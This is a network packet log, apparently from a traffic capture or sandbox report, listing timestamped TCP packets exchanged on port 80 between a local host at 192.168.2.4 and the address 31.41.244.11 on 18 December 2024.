Dec 18, 2024 17:08:25.981349945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.981410027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.981450081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.981498957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.982208014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.982333899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.982335091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.982393026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.983167887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.983346939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.983395100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.983441114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.984141111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.984209061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.168627977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.168703079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.168745041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.168797970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.168971062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.169018030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.169178963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.169230938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.170558929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.170614958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.170646906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.170691013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.171670914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.171680927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.171726942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.172094107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.172136068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.172327995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.172408104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.173217058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.173273087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.173382044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.173432112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.173804045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.173875093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.173918009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.173984051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.175753117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.175802946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.175878048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.175887108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.175926924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.176326990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.176387072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.176848888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.176928043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.176937103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.176987886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.177814007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.177886009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.177927971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.177997112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.179239035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.179282904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.179924011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.179972887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.180061102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.180069923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.180115938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.180784941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.180898905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.181335926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.181386948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.181869984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.181962013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.182148933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.182228088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.182909966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.182977915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.183119059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.183175087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.183789968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.183852911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.183890104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.183934927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.184731960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.184778929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.184875965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.184935093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.185722113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.185766935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.185856104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.185903072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.186752081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.186795950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.187223911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.187284946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.187756062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.187838078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.187855959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.187917948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.188667059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.188720942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.188849926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.188899994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.189719915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.189762115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.189790010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.189902067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.190953970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.191025972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.191078901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.191132069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.191617012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.191685915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.191720963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.191961050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.192919970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.192981005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.193021059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.193092108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.193783998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.193866968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.193934917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.193979025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.194890022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.194961071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.195101023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.195146084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.195703983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.195760965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.195852995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.195893049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.196672916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.196724892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.196727991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.196768999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.197643995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.197753906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.197768927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.197819948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.198545933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.198664904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.198714018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.199697971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.199781895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.199862003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.199928999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.200550079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.200634003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.200668097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.200717926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.201545000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.201582909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.201730013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.201802969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.202523947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.202570915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.202606916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.202657938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.203572989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.203655005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.203696012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.203742027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.204586983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.204632044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.204665899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.204709053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.205576897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.205625057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.205739975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.205785990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.206703901 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.206758976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.206873894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.206919909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.207743883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.207786083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.207899094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.207946062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.208538055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.208641052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.208682060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.208815098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.209450960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.209511995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.209599018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.209649086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.210434914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.210484028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.210535049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.210613966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.211463928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.211533070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.211608887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.211659908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.212462902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.212507963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.212618113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.212668896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.213430882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.213485956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.213587999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.213666916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.214413881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.214509010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.214514017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.214560032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.215385914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.215461016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.215537071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.215589046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.216356993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.216404915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.216464996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.216512918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.217397928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.217519999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.217555046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.217602015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.218414068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.218460083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.218509912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.218555927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.219522953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.219573975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.219615936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.219664097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.220493078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.220627069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.358500004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.358582020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.358603954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.358664036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.358925104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.358982086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.359195948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.359252930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.359329939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.359380007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.360163927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.360209942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.360286951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.360335112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.361104012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.361149073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.361244917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.361293077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.362088919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.362246037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.362262964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.362292051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.363148928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.363225937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.363261938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.363305092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.364144087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.364193916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.364316940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.364402056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.365150928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.365253925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.365326881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.365365028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.366231918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.366277933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.366462946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.366508007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.367132902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.367244959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.367279053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.367341995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.369733095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.369798899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.369849920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.369859934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.370112896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.370276928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.370331049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.370558977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.370567083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.370613098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.371057034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.371108055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.371231079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.371282101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.372088909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.372147083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.372229099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.372303009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.373008966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.373133898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.373187065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.374002934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.374052048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.374109983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.374209881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.374957085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.375009060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.375077009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.375128031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.375962019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.376022100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.376070976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.376185894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.377123117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.377172947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.377425909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.377476931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.378027916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.378134012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.378156900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.378233910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.379040003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.379131079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.379137993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.379187107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.379904985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.380007029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.380043030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.380085945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.380903006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.380954027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.381062984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.381131887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.381897926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.381946087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.381989956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.382057905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.382906914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.382958889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.383003950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.383053064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.383842945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.383893013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.383999109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.384042025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.384860992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.384982109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.384999990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.385025978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.385890961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.386015892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.386076927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:26.386854887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:26.386915922 CET	49771	80	192.168.2.4	31.41.244.11
